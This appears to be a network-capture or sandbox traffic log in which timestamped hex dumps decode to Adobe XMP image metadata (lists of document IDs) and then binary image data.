2d 64 38 31 36 2d 34 30 63 34 2d 62 66 65 34 2d 61 33 39 32 30 37 33 64 36 32 33 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 31 65 32 33 39 31 37 2d 35 33 33 38 2d 34 64 31 61 2d 39 66 66 63 2d 
31 33 38 63 37 61 39 37 30 33 34 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 3
1 66 63 33 33 63 38 2d 39 62 66 36 2d 34 35 66 31 2d 62 66 36 37 2d 63 35 61 63 62 39 35 38 65 33 32 32 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 35 32 30 38 41 46 42 38 31 45 32 30 36 38 31 31 39 
32 42 30 45 46 35 45 46 41 30 33 31 33 41 33 3c 2f 72 64 66 3a 6c 69 3e 
Data Ascii: 6a</rdf:li> <rdf:li>xmp.did:51d05a57-d816-40c4-bfe4-a392073d6235</rdf:li> <rdf:li>xmp.did:51e23917-5338-
4d1a-9ffc-138c7a970343</rdf:li> <rdf:li>xmp.did:51fc33c8-9bf6-45f1-bf67-c5acb958e322</rdf:li> <rdf:li>xmp.did:5208
AFB81E20681192B0EF5EFA0313A3</rdf:li>

2022-08-11 03:42:55 UTC 6427 IN Data Raw: 64 3a 36 31 41 45 37 34 31 39 33 35 32 30 36 38 31 31 39 35 46 45 44 38 42 44 46 38 34 31 43 37 37 44 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 31 45 41 43 39 31 44 31 37 32 30 36 38 31 
31 38 44 42 42 44 44 46 43 38 39 42 36 31 38 42 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 36 31 46 42 37 32 33 31 41 45 44 46 45 30 31 31 39 45 37 42 44 35 41 32 43 32 44 33 37 46 32 42 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 32 31 37 37 46 44 31 30 35 32 33 36 38 31 31 
38 32 32 41 44 30 37 43 37 43 43 34 33 38 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 36 32 33 43 32 42 38 30 32 31 32 42 36 38 31 31 38 37 31 46 46 
Data Ascii: d:61AE74193520681195FED8BDF841C77D</rdf:li> <rdf:li>xmp.did:61EAC91D172068118DBBDDFC89B6
18BD</rdf:li> <rdf:li>xmp.did:61FB7231AEDFE0119E7BD5A2C2D37F2B</rdf:li> <rdf:li>xmp.did:62177FD10523
6811822AD07C7CC438D7</rdf:li> <rdf:li>xmp.did:623C2B80212B6811871FF

2022-08-11 03:42:55 UTC 6430 IN Data Raw: 36 35 35 38 41 39 31 45 36 46 32 31 36 38 31 31 41 37 42 41 46 38 45 44 34 30 46 44 38 41 41 39 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 35 37 35 35 39 34 35 44 39 32 30 36 38 31 31 
38 43 31 34 41 30 42 33 35 34 34 36 38 34 44 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 6
9 64 3a 36 35 37 38 32 32 38 39 46 34 35 30 45 31 31 31 38 41 41 36 41 44 45 44 38 32 46 32 45 31 30 45 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 36 35 38 30 31 38 33 34 31 34 32 30 45 31 31 31 42 
46 32 34 44 30 34 36 34 30 38 35 33 39 31 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 36 35 38 35 34 30 65 38 2d 30 65 31 64 2d 34 32 36 30 2d 62 30 34 36 
Data Ascii: 6558A91E6F216811A7BAF8ED40FD8AA9</rdf:li> <rdf:li>xmp.did:65755945D92068118C14A0B3544684
DE</rdf:li> <rdf:li>xmp.did:65782289F450E1118AA6ADED82F2E10E</rdf:li> <rdf:li>xmp.did:658018341420E1
11BF24D0464085391A</rdf:li> <rdf:li>xmp.did:658540e8-0e1d-4260-b046

2022-08-11 03:42:55 UTC 6446 IN Data Raw: 35 36 34 36 32 32 36 38 31 31 38 37 31 46 39 36 36 42 33 30 34 30 34 34 46 39 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 31 62 63 33 32 31 2d 37 64 62 32 2d 34 64 65 37 2d 61 33 61 61 
2d 38 35 31 62 32 35 35 35 64 32 37 61 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 
37 34 34 37 32 33 63 61 2d 61 30 62 30 2d 34 61 34 31 2d 61 35 36 37 2d 61 32 39 62 39 38 32 62 61 38 32 66 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 37 34 35 36 46 30 42 45 43 32 32 30 36 38 31 31 
39 39 34 43 45 38 33 42 42 42 43 38 36 44 37 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 37 34 35 42 34 31 32 31 32 33 31 36 45 36 31 31 41 44 37 46 39 
Data Ascii: 5646226811871F966B304044F9</rdf:li> <rdf:li>xmp.did:741bc321-7db2-4de7-a3aa-851b2555d27a</rdf:li> 
<rdf:li>xmp.did:744723ca-a0b0-4a41-a567-a29b982ba82f</rdf:li> <rdf:li>xmp.did:7456F0BEC2206811994CE8
3BBBC86D74</rdf:li> <rdf:li>xmp.did:745B41212316E611AD7F9
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2022-08-11 03:42:55 UTC 6462 IN Data Raw: 69 64 3a 38 34 36 64 36 32 30 37 2d 37 66 39 30 2d 34 62 32 33 2d 38 36 34 34 2d 36 33 66 65 32 39 31 62 
38 32 35 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 34 37 39 62 38 38 61 2d 
64 30 30 65 2d 34 62 62 64 2d 62 33 32 38 2d 38 38 63 33 34 63 37 64 63 65 65 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 6
4 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 34 37 45 36 39 37 32 46 42 32 30 36 38 31 31 38 43 31 34 44 30 43 33 41 
42 41 33 46 38 43 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 34 37 46 46 42 
38 33 34 35 37 43 45 30 31 31 39 32 45 44 44 37 46 31 30 33 39 43 41 45 37 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 
66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 34 38 44 30 45 41 35 46 44 39 44 
Data Ascii: id:846d6207-7f90-4b23-8644-63fe291b8256</rdf:li> <rdf:li>xmp.did:8479b88a-d00e-4bbd-b328-88c34c7dc
eef</rdf:li> <rdf:li>xmp.did:847E6972FB2068118C14D0C3ABA3F8CF</rdf:li> <rdf:li>xmp.did:847FFB83457CE
01192EDD7F1039CAE76</rdf:li> <rdf:li>xmp.did:848D0EA5FD9D

2022-08-11 03:42:55 UTC 6470 IN Data Raw: 3e 78 6d 70 2e 64 69 64 3a 38 42 33 41 35 35 38 32 34 37 32 33 45 30 31 31 42 32 46 39 46 30 44 45 34 33 
33 34 39 45 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 42 33 42 32 36 41 
37 33 44 32 30 36 38 31 31 38 37 31 46 43 41 32 38 30 42 46 38 43 37 35 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 42 34 32 32 41 42 43 31 35 32 30 36 38 31 31 38 30 38 33 41 31 45 39 32 39 31 
34 33 42 34 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 38 42 34 46 33 30 41 39 
45 32 39 39 45 31 31 31 38 35 32 37 41 44 37 41 38 38 31 45 30 45 37 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 38 42 35 37 34 31 33 39 35 35 43 44 45 32 
Data Ascii: >xmp.did:8B3A55824723E011B2F9F0DE43349E4C</rdf:li> <rdf:li>xmp.did:8B3B26A73D206811871FC
A280BF8C75A</rdf:li> <rdf:li>xmp.did:8B422ABC152068118083A1E929143B40</rdf:li> <rdf:li>xmp.did:8B4F3
0A9E299E1118527AD7A881E0E71</rdf:li> <rdf:li>xmp.did:8B57413955CDE2

2022-08-11 03:42:55 UTC 6486 IN Data Raw: 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 38 42 43 38 35 35 41 32 43 30 37 31 31 45 30 39 35 36 36 44 37 
38 33 31 44 33 36 31 45 41 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 38 44 
31 32 34 34 37 37 45 32 31 36 38 31 31 38 37 31 46 39 46 46 39 43 36 34 33 38 31 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 38 44 45 37 44 42 46 41 31 32 32 36 38 31 31 38 32 32 41 39 45 34 
31 38 46 34 35 35 43 35 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 38 62 39 
34 37 34 35 2d 32 63 36 31 2d 34 35 30 34 2d 61 65 39 63 2d 30 36 36 39 36 37 65 30 34 61 34 37 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 39 38 63 63 34 37 
Data Ascii: f:li>xmp.did:98BC855A2C0711E09566D7831D361EA4</rdf:li> <rdf:li>xmp.did:98D124477E2168118
71F9FF9C64381C4</rdf:li> <rdf:li>xmp.did:98DE7DBFA1226811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:98b94745-
2c61-4504-ae9c-066967e04a47</rdf:li> <rdf:li>xmp.did:98cc47

2022-08-11 03:42:55 UTC 6502 IN Data Raw: 43 31 31 45 31 42 38 41 34 41 39 30 33 31 46 32 42 42 45 34 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 33 42 36 37 35 38 32 42 44 39 45 32 31 31 39 32 43 33 41 45 30 44 44 38 38 30 
31 35 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 34 44 34 30 37 37 31 
30 32 30 36 38 31 31 38 43 31 34 46 34 45 46 32 30 45 42 43 38 44 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 78 6d 70 2e 64 69 64 3a 41 43 36 45 38 44 30 34 32 45 32 30 36 38 31 31 38 43 31 34 42 46 45 35 30 46 36 31 45 
32 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 41 43 38 39 37 44 42 35 37 46 
32 31 36 38 31 31 39 35 46 45 44 33 33 42 46 43 34 32 30 43 42 31 3c 2f 
Data Ascii: C11E1B8A4A9031F2BBE47</rdf:li> <rdf:li>xmp.did:AC3B67582BD9E21192C3AE0DD88015CC</rdf:li> 
<rdf:li>xmp.did:AC4D4077102068118C14F4EF20EBC8D3</rdf:li> <rdf:li>xmp.did:AC6E8D042E2068118C14BFE50
F61E2B4</rdf:li> <rdf:li>xmp.did:AC897DB57F21681195FED33BFC420CB1</

2022-08-11 03:42:55 UTC 6510 IN Data Raw: 33 44 31 41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 
2e 64 69 64 3a 42 41 32 36 33 33 32 39 42 38 32 30 36 38 31 31 38 46 36 32 45 31 35 32 30 45 42 46 32 34 30 31 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 41 34 44 45 45 37 42 39 36 32 39 36 38 31 
31 38 32 32 41 46 42 45 42 33 36 42 33 44 30 39 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 6
4 69 64 3a 42 41 35 30 44 45 38 32 31 42 32 33 36 38 31 31 38 32 32 41 44 30 37 43 37 43 43 34 33 38 44 37 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 42 41 35 35 44 31 30 38 44 42 32 31 36 38 31 31 
38 30 38 33 41 34 30 37 38 36 45 36 31 37 46 39 3c 2f 72 64 66 3a 6c 69 
Data Ascii: 3D1AF7A00F36933</rdf:li> <rdf:li>xmp.did:BA263329B82068118F62E1520EBF2401</rdf:li> <rdf:li>xmp.did
:BA4DEE7B96296811822AFBEB36B3D090</rdf:li> <rdf:li>xmp.did:BA50DE821B236811822AD07C7CC438D7</rdf:li> 
<rdf:li>xmp.did:BA55D108DB2168118083A40786E617F9</rdf:li

2022-08-11 03:42:55 UTC 6526 IN Data Raw: 41 39 46 38 31 37 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 30 
39 46 39 46 31 44 33 30 32 30 36 38 31 31 39 39 34 43 42 41 37 45 46 34 46 30 44 41 38 32 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 30 42 31 43 46 43 42 46 30 32 30 36 38 31 31 41 33 31 33 39 43 
46 39 41 31 42 39 37 30 38 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 30 43 3
4 30 45 46 33 35 43 36 45 45 31 31 31 42 30 36 38 46 31 35 39 34 36 44 46 32 38 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 30 44 32 37 46 33 39 38 36 33 31 36 38 31 31 41 36 31 33 46 42 31 30 
30 36 38 45 39 38 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
Data Ascii: A9F81730</rdf:li> <rdf:li>xmp.did:D09F9F1D30206811994CBA7EF4F0DA82</rdf:li> <rdf:li>xmp.did:D0B1CF
CBF0206811A3139CF9A1B97083</rdf:li> <rdf:li>xmp.did:D0C40EF35C6EE111B068F15946DF28AE</rdf:li> <rdf:l
i>xmp.did:D0D27F3986316811A613FB10068E98D9</rdf:li> <rdf:

2022-08-11 03:42:55 UTC 6530 IN Data Raw: 64 3a 44 35 33 41 30 30 38 35 32 46 32 33 36 38 31 31 38 43 31 34 38 38 35 42 32 41 44 43 33 30 33 31 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 35 33 43 42 46 35 43 30 39 39 39 31 31 45 
31 41 30 37 37 44 38 36 38 34 35 46 39 45 34 34 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 
64 69 64 3a 44 35 34 34 42 35 41 37 41 31 37 33 31 31 45 35 41 38 43 35 44 45 43 41 42 39 35 45 33 39 36 39 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 44 35 34 38 34 45 34 44 31 43 43 41 45 34 31 31 
39 34 31 30 44 33 37 35 34 46 39 30 44 35 36 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 
69 64 3a 44 35 34 39 44 39 43 42 30 37 32 30 36 38 31 31 38 44 42 42 42 
Data Ascii: d:D53A00852F2368118C14885B2ADC3031</rdf:li> <rdf:li>xmp.did:D53CBF5C099911E1A077D86845F9
E44C</rdf:li> <rdf:li>xmp.did:D544B5A7A17311E5A8C5DECAB95E3969</rdf:li> <rdf:li>xmp.did:D5484E4D1CCA
E4119410D3754F90D561</rdf:li> <rdf:li>xmp.did:D549D9CB072068118DBBB

2022-08-11 03:42:55 UTC 6546 IN Data Raw: 36 38 31 33 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 43 31 45 
38 30 38 39 43 32 45 39 45 30 31 31 42 36 32 41 43 41 33 43 39 45 34 33 32 39 42 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 43 32 38 36 34 44 43 35 41 33 39 36 38 31 31 39 35 46 45 43 37 38 43 
46 45 44 39 38 43 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 43 33 33 45 4
4 35 30 33 43 32 30 36 38 31 31 38 30 38 33 38 30 36 34 31 35 41 45 31 38 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 45 43 36 30 31 34 32 31 35 44 46 33 45 30 31 31 39 45 30 45 38 45 36 37 30 
38 32 31 31 37 30 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: 68133A</rdf:li> <rdf:li>xmp.did:EC1E8089C2E9E011B62ACA3C9E4329BC</rdf:li> <rdf:li>xmp.did:EC2864DC
5A39681195FEC78CFED98CCD</rdf:li> <rdf:li>xmp.did:EC33ED503C2068118083806415AE183A</rdf:li> <rdf:li>
xmp.did:EC6014215DF3E0119E0E8E6708211705</rdf:li> <rdf:li
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2022-08-11 03:42:55 UTC 6562 IN Data Raw: 64 69 64 3a 46 39 31 41 46 32 43 45 39 35 32 35 36 38 31 31 38 32 32 41 39 45 34 31 38 46 34 35 35 43 35 
44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 34 31 35 31 32 45 30 42 32 32 
36 38 31 31 38 46 36 32 41 41 37 45 31 31 37 43 43 37 30 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6
d 70 2e 64 69 64 3a 46 39 36 32 37 45 35 41 45 30 46 45 45 30 31 31 42 41 30 31 38 31 30 35 42 43 34 45 43 43 38 33 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 
38 31 31 38 30 38 33 41 46 39 34 41 32 45 43 37 31 36 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 
70 2e 64 69 64 3a 46 39 37 46 31 31 37 34 30 37 32 30 36 38 31 31 38 30 38 
Data Ascii: did:F91AF2CE95256811822A9E418F455C5D</rdf:li> <rdf:li>xmp.did:F941512E0B2268118F62AA7E11
7CC70D</rdf:li> <rdf:li>xmp.did:F9627E5AE0FEE011BA018105BC4ECC83</rdf:li> <rdf:li>xmp.did:F97F117407
2068118083AF94A2EC7162</rdf:li> <rdf:li>xmp.did:F97F117407206811808

2022-08-11 03:42:55 UTC 6570 IN Data Raw: 42 38 45 33 39 46 33 45 37 35 31 31 45 37 42 34 43 46 41 44 41 34 32 37 43 45 35 32 46 30 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 43 45 35 36 44 37 42 34 32 30 36 38 31 31 38 43 
31 34 45 43 36 39 39 31 34 43 38 35 36 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3
a 46 43 44 32 44 43 39 46 46 32 32 38 36 38 31 31 42 44 33 35 43 42 43 43 35 32 45 34 44 32 37 41 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 43 45 37 39 38 38 46 31 39 32 30 36 38 31 31 38 33 44 31 
41 46 37 41 30 30 46 33 36 39 33 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 46 
43 45 42 39 31 30 33 30 46 32 30 36 38 31 31 41 46 46 44 44 44 35 36 43 
Data Ascii: B8E39F3E7511E7B4CFADA427CE52F0</rdf:li> <rdf:li>xmp.did:FCCE56D7B42068118C14EC69914C8563
</rdf:li> <rdf:li>xmp.did:FCD2DC9FF2286811BD35CBCC52E4D27A</rdf:li> <rdf:li>xmp.did:FCE7988F19206811
83D1AF7A00F36933</rdf:li> <rdf:li>xmp.did:FCEB91030F206811AFFDDD56C

2022-08-11 03:42:55 UTC 6586 IN Data Raw: 3a 63 31 66 38 65 62 61 39 2d 66 34 65 31 2d 33 62 34 65 2d 61 39 31 35 2d 37 35 36 34 36 30 33 32 66 37 
63 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 32 33 36 37 61 30 65 2d 64 63 
64 30 2d 31 63 34 30 2d 39 31 36 64 2d 63 63 33 36 37 32 37 65 34 38 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3
a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 32 38 63 63 32 30 30 2d 39 33 65 34 2d 65 34 34 61 2d 38 32 64 63 2d 66 38 35 
64 65 64 61 39 36 64 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 32 38 66 
31 64 31 33 2d 62 62 37 64 2d 34 35 32 64 2d 38 37 65 32 2d 35 63 31 64 62 34 35 61 30 30 30 33 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 63 32 39 65 61 34 
Data Ascii: :c1f8eba9-f4e1-3b4e-a915-75646032f7c4</rdf:li> <rdf:li>xmp.did:c2367a0e-dcd0-1c40-916d-cc36727e484
1</rdf:li> <rdf:li>xmp.did:c28cc200-93e4-e44a-82dc-f85deda96d02</rdf:li> <rdf:li>xmp.did:c28f1d13-bb7d-452d-87e2-
5c1db45a0003</rdf:li> <rdf:li>xmp.did:c29ea4

2022-08-11 03:42:55 UTC 6602 IN Data Raw: 39 36 37 2d 38 36 37 37 2d 65 65 66 30 30 66 39 64 33 36 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 31 63 65 35 39 39 2d 31 33 66 34 2d 34 35 38 65 2d 62 37 66 37 2d 63 30 34 35 
30 34 66 64 31 63 34 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 36 63 34 61 
61 62 64 2d 31 39 35 61 2d 66 61 34 39 2d 62 37 34 32 2d 63 30 38 64 33 31 38 37 34 66 37 62 3c 2f 72 64 66 3a 6c 69 3
e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 66 37 31 63 64 36 65 30 2d 38 34 37 35 2d 34 38 31 36 2d 39 35 
36 63 2d 39 30 33 61 31 32 62 39 34 65 37 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 
64 3a 66 37 32 35 65 39 38 66 2d 39 30 64 32 2d 34 37 64 30 2d 39 36 66 
Data Ascii: 967-8677-eef00f9d3601</rdf:li> <rdf:li>xmp.did:f61ce599-13f4-458e-b7f7-c04504fd1c4d</rdf:li> <rdf:li>xmp.did
:f6c4aabd-195a-fa49-b742-c08d31874f7b</rdf:li> <rdf:li>xmp.did:f71cd6e0-8475-4816-956c-903a12b94e70</rdf:li> <
rdf:li>xmp.did:f725e98f-90d2-47d0-96f

2022-08-11 03:42:55 UTC 6609 IN Data Raw: cd 60 b7 79 99 19 47 18 db 29 52 d1 19 d5 7e 7a 58 41 8a a0 73 45 46 f2 7c 2b 27 97 54 f8 bf 0f ee b4 f6 42 
ed f8 f5 0a f5 63 11 f9 c0 19 5b 49 5a 69 e2 5b 59 a6 5b 19 76 3d d7 2a c6 c4 50 fe 97 f9 ca de 6e 4d 75 d7 e0 db 5d bd 
d4 ea 3d 7e 34 39 c7 ef 17 71 5f d1 2c 6e e6 9f 2f 91 6b b7 50 59 5a 08 8b 28 63 e4 4e 9b 0e 59 87 ab d3 af 52 bf 1b 5d 
1e 59 d8 ad 5a 72 c4 ab 2c c4 d6 37 51 de 5d 8f 9a 91 0b 4a 91 4a 80 a0 63 e0 f2 57 cf b7 cd d3 f2 e9 2b f2 21 e3 27 23 
db 99 59 37 4c 4f d4 0b bf e9 b0 09 ac 9a cc 4c 78 bc c3 6a b8 db b8 cd 10 4f 2a 6e e5 58 f5 ec 2d d6 8c 23 b5 59 c1 8f 
c7 dd 38 2b ce e0 81 6e ff 00 e8 2c 96 53 24 e4 a3 15 2e 2a 5a b1 12 db 56 43 b5 7c 36 fa b5 05 45 7b 4d 89 62 72 0a fa 
ab 16 16 fa fe de e7 b6 5b 71 ea d1 ca 37 10 a0 ef de 7e 
Data Ascii: `yG)R~zXAsEF|+'TBc[IZi[Y[v=*PnMu]=~49q_,n/kPYZ(cNYR]YZr,7Q]JJcW+!'#Y7LOLxjO*nX-#Y8+n,S$.
*ZVC|6E{Mbr[q7~

2022-08-11 03:42:55 UTC 6625 IN Data Raw: c8 78 ad 4e 83 03 52 71 94 88 dc e4 0d ba f8 90 01 3f 72 d6 ba 2b 0a 46 4a 01 f7 ff 00 a8 42 c2 36 c0 05 14 0f 
f7 9b f1 1d 3d 5c 1a 4b 38 f6 55 81 92 7a f4 ea 01 23 c4 69 2d c9 a0 ad 3a 08 58 3a f1 53 c5 4f b2 9a 65 90 10 7c c3 91 
e3 41 a3 d5 0a d2 23 5a b1 a3 1a f1 f6 e9 87 41 38 e2 10 80 d2 1e 27 fd 20 6a 4d c9 9a 3c 9a 62 ca ca a3 81 f7 68 25 06 
48 1e 45 0d 46 ac 0e 0f 3d 9f 66 88 e8 e8 9a 8d 00 49 c9 26 9c 74 45 3e 03 40 6c 07 bb 6f 04 f9 5b d8 60 0d fa 6f 53 23 
81 bb a6 a3 f8 8e 53 f0 0e 6d 73 ed d8 aa 9b 66 6c af 2a 18 26 21 0f 32 31 a1 1f 61 e0 74 13 c1 0f 10 d8 bb b5 ba db 76 
d1 88 32 51 30 60 eb c2 39 87 c3 2c 5f cb 93 e2 95 79 5b e1 d6 b2 ec a1 f0 55 a9 50 ca 1d c7 77 3d ec ff 00 37 70 a5 77 
8e 1c 28 a4 0f 81 bd 61 7c ba 4d 3a d6 b5 08 d5 a7 55 
Data Ascii: xNRq?r+FJB6=\K8Uz#i-:X:SOe|A#ZA8' jM<bh%HEF=fI&tE>@lo[`oS#Smsfl*&!21atv2Q0`9,_y[UPw=7pw(a|M:U

2022-08-11 03:42:55 UTC 6629 IN Data Raw: e3 fd ed 76 eb f9 6f 42 7a d7 a7 fc c5 f5 ec 74 4d 2f e6 28 67 f3 31 d8 c6 2e 65 0f 71 3a 47 55 0a 18 44 81 8f 
b1 cf f1 37 1f 32 ea 14 d3 b7 7f 8f 4d 7e 63 2a 5a ca 45 bc a6 7a f7 2e 16 45 41 02 ed d8 c9 08 2a 1f 8d 7f 50 79 9f 6f a7 
5d 5a eb 5d 2e 17 a9 8e b6 f4 f2 1a 3b 23 ba b3 57 37 83 1f 67 69 00 8c 15 0c cc bb 0f 0f e6 a3 48 dc 24 5f cb af 63 56 db 
4c 63 b1 55 66 cd 63 ba bb 6d e7 f9 7c c4 d0 bd e9 b0 a4 82 25 99 97 78 02 ad be 1f e0 4a eb e6 4d 7a 97 a3 e5 ae dd 
4e ce be 3e e0 66 73 b8 7b 7f ba f1 d2 41 97 ea 59 07 00 47 32 b1 56 52 df c3 64 9a 3f 23 6e f6 37 27 c5 af 3f 5f f5 1d 3b 
9f 5c f6 af d3 64 45 6f ad f9 46 59 90 fa 47 8a c1 d8 57 b9 2e ee f2 97 6a a2 46 86 17 25 17 f1 32 55 8b 7f 7b 5c 9f 23 72 
d3 85 d6 9b 36 7b 7d bf e2 b9 2d 91 40 a7 65 
Data Ascii: voBztM/(g1.eq:GUD72M~c*ZEz.EA*Pyo]Z].;#W7giH$_cVLcUfcm|%xJMzN>fs{AYG2VRd?#n7'?_;\dEoFYGW
.jF%2U{\#r6{}-@e

